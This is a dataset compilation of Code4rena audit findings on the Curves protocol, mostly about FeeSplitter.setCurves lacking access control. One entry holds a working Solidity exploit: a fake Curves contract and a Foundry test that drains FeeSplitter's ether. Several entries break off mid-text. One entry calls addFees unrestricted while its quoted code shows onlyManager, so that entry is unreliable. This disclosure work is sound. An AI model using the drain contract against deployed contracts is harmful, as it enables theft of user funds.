xanoutas/solidity-security-findings huggingface dataset:
Anyone can change the Curves address in FeeSplitter
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L35


# Vulnerability details

## Impact
The `setCurves` function allows anyone to alter the Curves address, leading to the disruption of functions such as `balanceOf` and `totalSupply`, disabling all related features.
This implies that if Curves utilizes this FeeSplitter and the `holdersFeePercent` is non-zero, users will be unable to purchase or sell curveTokens.

## Proof of Concept
```
    function setCurves(Curves curves_) public { // @audit anyone can change the curves
        curves = curves_;
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return curves.curvesTokenBalance(token, account) * PRECISION;
    }

    function totalSupply(address token) public view returns (uint256) {
        //@dev: this is the amount of tokens that are not locked in the contract. The locked tokens are in the ERC20 contract
        return (curves.curvesTokenSupply(token) - curves.curvesTokenBalance(token, address(curves))) * PRECISION;
    }
```

## Tools Used
manual review

## Recommended Mitigation Steps
Recommend to use the `onlyOwner` modifier, ensuring that only authorized individuals can modify the curves address.


## Assessed type

Access Control
`setCurves` function has no access control, which allows an attacker to manipulate balance of a token, and claim unlimited fees
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L35


# Vulnerability details

## Impact
Because of missing access control in `setCurves` function of `FeeSplitter.sol`, anyone can set the curves contract. This allows an attacker to set an attacker controlled contract as the curves contract. As a result of which the attacker can set a malicious `curvesTokenBalance` mapping that will manipulate the return value of `balanceOf` function. Thus attacker can manipulate the attacker balance for any token.

So attacker can now call `claimFees`, which will call `getClaimableFees` which will check the attacker's token balance, and based on the balance we will be able to claim the fee amount.
As we can manipulate the attacker's token balance, so we can drain all the fund of FeeSplitter.sol .

## Proof of Concept
https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L35

## Tools Used
Manual review

## Recommended Mitigation Steps
Add `onlyOwner` access control to `setCurves` function 





## Assessed type

Access Control
FeeSplitter contract can be fully compromised via an access control function with no modifiers
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L36


# Vulnerability details

## Impact
The function ```feeSplitter.setCurves(Curves curves_)``` needs an onlyAdmin modifier. 

This function being of public access to anyone allows for a malicious actor to inject an altered version of the Curves smart contract. Finally, leading to a loss of the entire ether balance the protocol might hold in ```FeeSplitter.sol```.

## Tools Used
Malicious Curves contract with the capacity to manipulate the mappings from which  the ```FeeSplitter.sol``` contract will read from. ```maliciousCurves.curvesTokenSupply(subject)```, ```maliciousCurves.curvesTokenBalance(subject, holder)```

```

pragma solidity ^0.8.7;

import "../../src/Curves.sol";

contract NotCurves is Curves {

    address public attacker;
    // Constructor to satisfy original Curves implementation
    constructor(
        address _factory,
        address _feeDist
    ) Curves(_factory, _feeDist) {
        attacker = msg.sender;
    }

    // We can change the states of the mappings of this instance,
    // which will be interpreted as the ones from the intended one.

    function changeSupply(
        uint256 _fakeSupply,
        address _targetAddress
    ) external {
        require(msg.sender == attacker);
        curvesTokenSupply[_targetAddress] = _fakeSupply;
    }

    function changeTokenBalance(
        address _tokenSub,
        address _holder,
        uint256 _fakeAmount
    ) external {
        require(msg.sender == attacker);
        curvesTokenBalance[_tokenSub][_holder] = _fakeAmount;
    }
}
```
With this contract deployed and the function ```feeSplitter.setCurves(Curves curves_)``` being public, both ```FeeSplitter.sol``` can be fully drained.

```
function testDrainFeeSplitter() public {
  // Lets pretend the contract got this eth via regular purchases:
  vm.startPrank(Bob);
  vm.deal(Bob, 5e18);
  (bool s,) = address(feeSplitter).call{value: 5e18}("");
  require(s);
  vm.stopPrank();

  vm.startPrank(Alice);
  // Start by making her own token:
  curves.buyCurvesTokenWithName{value: 0}(
          Alice,
          1,
          "Alice",
          "Alice"
  );

  uint256 price = curves.getPrice(1,1);
  (, , , , uint256 totalFee) = curves.getFees(price);
  vm.deal(Alice, price+totalFee);
  curves.buyCurvesToken{value: price+totalFee}(Alice, 1);

  // Now that finally some data.cumulativeFee is stored, the heist can start.
  // Start by creating the fake Curves instance to feed incorrect data:
  n_curves = new NotCurves(address(0x123), address(0x555));
  feeSplitter.setCurves(n_curves);
  // Lets calculate the needed balance to get all balance in feeSplitter:
  uint256 cumulativeFee = 312500000000;
  uint256 amountToSteal = address(feeSplitter).balance;
  // eq: (x * cumulativeFee)/1e18 = amountToSteal : Since amountToSteal is in base e18, i can remove the denominator
  uint256 amount = (amountToSt
Missing Access Control for setCurves in FeeSplitter contract
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35


# Vulnerability details

## Impact
The `setCurves` function in the `FeeSplitter.sol` contract lacks proper access control, allowing any address to set the curves state variable. This omission poses a security risk as it allows potential attackers to manipulate the curves parameter, potentially disrupting the intended functionality of the contract.

## Proof of Concept

## Tools Used
Manual Auditing

#### Recommendation:
It is crucial to implement access control mechanisms for functions that modify state variables, especially those that impact the core logic of the protocol. In this case, the setCurves function should only be callable by authorized entities to prevent unauthorized changes.

#### Mitigation Steps:
Consider adding a onlyManager modifier to ensure that only authorized addresses can call it.:

```solidity
    function setCurves(Curves curves_) public onlyManager {
        curves = curves_;
    }
    





## Assessed type

Access Control
Flaw in Presale Logic Allowing Unrestricted Token Purchases in Curves.sol
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L405-L421
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L378-L393
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L212-L217


# Vulnerability details

## Impact
A significant flaw exists in the presale logic of the Curves.sol contract, specifically in the handling of token purchases during the presale period. The current implementation does not effectively enforce the presale restrictions, allowing anyone to purchase tokens during the presale period, which undermines the purpose of having a whitelisted presale.

## Proof of Concept
Function Allowing Owner to Set Presale:
```
function buyCurvesTokenForPresale(
    address curvesTokenSubject,
    uint256 amount,
    uint256 startTime,
    bytes32 merkleRoot,
    uint256 maxBuy
) public payable onlyTokenSubject(curvesTokenSubject) {
    if (startTime <= block.timestamp) revert InvalidPresaleStartTime();
    uint256 supply = curvesTokenSupply[curvesTokenSubject];
    if (supply != 0) revert CurveAlreadyExists();
    presalesMeta[curvesTokenSubject].startTime = startTime;
    presalesMeta[curvesTokenSubject].merkleRoot = merkleRoot;
    presalesMeta[curvesTokenSubject].maxBuy = (maxBuy == 0 ? type(uint256).max : maxBuy);

    _buyCurvesToken(curvesTokenSubject, amount);
}

```
Function for Whitelisted Presale Purchases:
```
function buyCurvesTokenWhitelisted(
    address curvesTokenSubject,
    uint256 amount,
    bytes32[] memory proof
) public payable {
    if (
        presalesMeta[curvesTokenSubject].startTime == 0 ||
        presalesMeta[curvesTokenSubject].startTime <= block.timestamp
    ) revert PresaleUnavailable();

    presalesBuys[curvesTokenSubject][msg.sender] += amount;
    uint256 tokenBought = presalesBuys[curvesTokenSubject][msg.sender];
    if (tokenBought > presalesMeta[curvesTokenSubject].maxBuy) revert ExceededMaxBuyAmount();

    verifyMerkle(curvesTokenSubject, msg.sender, proof);
    _buyCurvesToken(curvesTokenSubject, amount);
}

```
Function for General Token Purchase:
```
function buyCurvesToken(address curvesTokenSubject, uint256 amount) public payable {
    uint256 startTime = presalesMeta[curvesTokenSubject].startTime;
    if (startTime != 0 && startTime >= block.timestamp) revert SaleNotOpen();

    _buyCurvesToken(curvesTokenSubject, amount);
}

```
The issue arises because the buyCurvesToken function does not properly respect the presale period. This allows any user to buy tokens during the presale, bypassing the intended whitelisting mechanism.

## Tools Used
manual

## Recommended Mitigation Steps
To resolve this issue, it is recommended to:
- Modify PresaleMeta Structure: Add an endPresaleTime field to the presalesMeta struct to clearly define the presale duration.
- Update buyCurvesToken Function**: Add a chec
No Access-Control in Critical Setter Function
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35-L37


# Vulnerability details

## Impact:

Description:

The vulnerability identified in the `FeeSplitter` smart contract pertains to the lack of access control in the `setCurves` function, located at lines 35 to 37. The function is defined as follows:

### Proof of Concept:
```solidity
function setCurves(Curves curves_) public {
curves = curves_;
}
```

This function allows any external caller to change the reference to the `Curves` contract instance stored in the `curves` state variable. Since there are no restrictions or modifiers applied to this function, it poses a significant security risk. An attacker could call this function at any time and set the `curves` variable to point to a malicious contract. This could lead to a variety of attacks, such as manipulating the return values of `balanceOf` and `totalSupply` functions, which rely on the `curves` contract, or redirecting funds when `claimFees` and `addFees` functions are called.

## Tools Used

Manual Review and Static Analysis.

## Recommended Mitigation Steps:

To mitigate this vulnerability, the `setCurves` function should be protected with an access control mechanism, such as the `onlyOwner` or `onlyManager` modifier, to ensure that only authorized users (e.g., the contract owner or designated managers) can update the reference to the `Curves` contract. This would prevent unauthorized manipulation of the contract's critical external dependencies.


## Assessed type

Access Control
CurveToken holders can claim `holderFee` without holding CurveTokens inside the contract
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L490-L510
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80-L87


# Vulnerability details

## Impact
CurveToken holders can claim holderFee even after converting their CurveTokens into ERC20 tokens by converting ERC20 tokens back into CurveTokens using `deposit` function and then claiming holderFees using `claimFees` function.
This defeats the core functionality of the protocol which promotes users to hold CurveTokens inside the contract.

## Bug
The vulnerability arises due to not updating `unclaimedFees` and `userFeeOffset` variables in `FeeSplitter` contract each time a user withdraws or deposits their CurveTokens and ERC20 Tokens.

As shown in the code, every time a user withdraws or deposits using `withdraw` and `deposit` function of `Curves` contract, `unclaimedFees` and `userFeeOffset` variables remains unaffected as there is no logic present to update them.
```javascript
    function deposit(address curvesTokenSubject, uint256 amount) public {
        if (amount % 1 ether != 0) revert NonIntegerDepositAmount();

        address externalToken = externalCurvesTokens[curvesTokenSubject].token;
        uint256 tokenAmount = amount / 1 ether;

        if (externalToken == address(0))
            revert TokenAbsentForCurvesTokenSubject();
        if (amount > CurvesERC20(externalToken).balanceOf(msg.sender))
            revert InsufficientBalance();
        if (tokenAmount > curvesTokenBalance[curvesTokenSubject][address(this)])
            revert InsufficientBalance();

        CurvesERC20(externalToken).burn(msg.sender, amount);
        _transfer(curvesTokenSubject, address(this), msg.sender, tokenAmount);
    }
```

```javascript
    function withdraw(address curvesTokenSubject, uint256 amount) public {
        if (amount > curvesTokenBalance[curvesTokenSubject][msg.sender])
            revert InsufficientBalance();
        // Adjusted to fix [M-02] issue
        if (externalCurvesTokens[curvesTokenSubject].token == address(0))
            revert InvalidERC20Metadata();

        address externalToken = externalCurvesTokens[curvesTokenSubject].token;
        if (externalToken == address(0)) {
            if (
                keccak256(
                    abi.encodePacked(
                        externalCurvesTokens[curvesTokenSubject].name
                    )
                ) ==
                keccak256(abi.encodePacked("")) ||
                keccak256(
                    abi.encodePacked(
                        externalCurvesTokens[curvesTokenSubject].symbol
                    )
                ) ==
                keccak256(abi.encodePacked(""))
            ) {
                externalCurvesTokens[curvesTokenSubject].name = DEFAULT_NAME;
                externalCurvesTokens[curvesTokenSubject]
                    .symbol = DEFAULT_SYM
Issue with addFees function
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L89C2-L89C2plain=1#L89


# Vulnerability details

# Finding:
In the FeeSplitter contract, the addFees function allows anyone to add fees, potentially leading to unauthorized fee additions.

# Impact:
Unauthorized parties may add fees to the contract, affecting the distribution of fees.

# Proof of Concept:
function addFees(address token) public payable onlyManager {
    uint256 totalSupply_ = totalSupply(token);
    if (totalSupply_ == 0) revert NoTokenHolders();
    TokenData storage data = tokensData[token];
    data.cumulativeFeePerToken += (msg.value * PRECISION) / totalSupply_; //@dev: Anyone can call this function
}

# Recommended Mitigation Steps:
Restrict access to the addFees function to authorized parties only, such as the owner or designated managers.




## Assessed type

Access Control
Lack of access control on curves address setter in FeeSplitter
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35-L37


# Vulnerability details

## Impact

The `curves` contract address is used in `FeeSplitter` to obtain crucial Curves accounting values such as user balances and supply in order to calculate fees. A setter for this address is public and missing a modifier for access control.

## Proof of Concept
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35-L37

```solidity
function setCurves(Curves curves_) public {
        curves = curves_;
    }
```

## Tools Used

Manual Review

## Recommended Mitigation Steps

Use an `onlyOwner` or `onlyManager` modifier as appropriate


## Assessed type

DoS
Anyone can Invoke the setCurves function in FeeSplitter contract and cause a Denial of Services for Token Holders
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35


# Vulnerability details

## Impact
Detailed description of the impact of this finding.

The FeeSplitter contract handles the splitting of accumulated funds generated from the feesEconomics.holdersFeePercent in the Curves.sol. This shows the importance of the Curves.sol and why there is a setCurves function in the FeeSplitter contract. This function sets the state variable 'curves' which occurs the slot 0 position in the FeeSplitter. However, this function is not restricted to who can call the function to prevent an attacker from calling it with a parameter address that is not a Curve address.

The impact of this attack is that this will faciliate a denial of service for the token holders and deprive them the benefits of possesing the Curve token.

## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

https://gist.github.com/Ephraim-nonso/3d1a55a0b206365196fbdb0c89e47ca7

## Tools Used
Manual review, Hardhat

## Recommended Mitigation Steps

The FeeSplitter inherits the Security contract that have an onlyOwner modifier. This modifier can be added to the setCurves function to restrict who can call the function. Need to mention, all the modifiers in the Security contract is flawed for an inappropriate check which were spotted by automated bots. 

https://github.com/code-423n4/2024-01-curves/blob/main/bot-report.md#h-01


## Assessed type

Access Control
Missing Access Control and Insufficient Address Validation in FeeSplitter:setCurves allows for FeeSplitter contract ETH balance to be stolen
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L73


# Vulnerability details

## Impact
Unauthorized threat actors can abuse the [`FeeSplitter:setCurves`](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35) function's lack of access control and address validation to manipulate the `FeeSplitter` contract's state in such a way that allows for the `FeeSplitter` contract's ETH balance to be stolen. 

Similarly, is also possible to break token buying functionality in the `Curves` contract, as well as fee claiming functionality in `FeeSplitter`, by abusing `FeeSplitter:setCurves` to set `FeeSplitter's` `Curves` reference to an invalid underlying address, such as `address(0)`. This disrupts Curve token buying perations for users in the `Curves` contract, as well as holder fee claiming in the `FeeSplitter` contract, as the `FeeSplitter` contract heavily relies on accurate Curve token supply/balance mappings to be available from the legitimate `Curves` contract.

## Root Causes

### Primary issues - Missing access control and address validation in FeeSplitter:setCurves
Several issues need to be exploited together for unauthorized attackers to achieve maximum impact of stolen fees, however the most significant issues allowing for this are a lack of access control and subsequent insufficient address validation in the `FeeSplitter:setCurves` function, shown below:

**[`FeeSplitter.sol`](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35)**
```solidity
    contract FeeSplitter is Security {
        Curves public curves;
        
        ...

        function setCurves(Curves curves_) public { // missing access control modifier
            curves = curves_; // any contract implementing Curves.sol may be set.
        }

        ...

    }
```

This allows an attacker to set the FeeSplitter contract's [`curves`](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L10) contract reference to a malicious contract that merely implements the base Curve contract as an interface, satisfying the implicit type check on the `curves` state.

### Additional contributing issue - Lack of balance checks in FeeSplitter:getClaimableFees and FeeSplitter:updateFeeCredit

[`FeeSplitter:updateFeeCredit`](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63) and [`FeeSplitter:getClaimableFees`](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts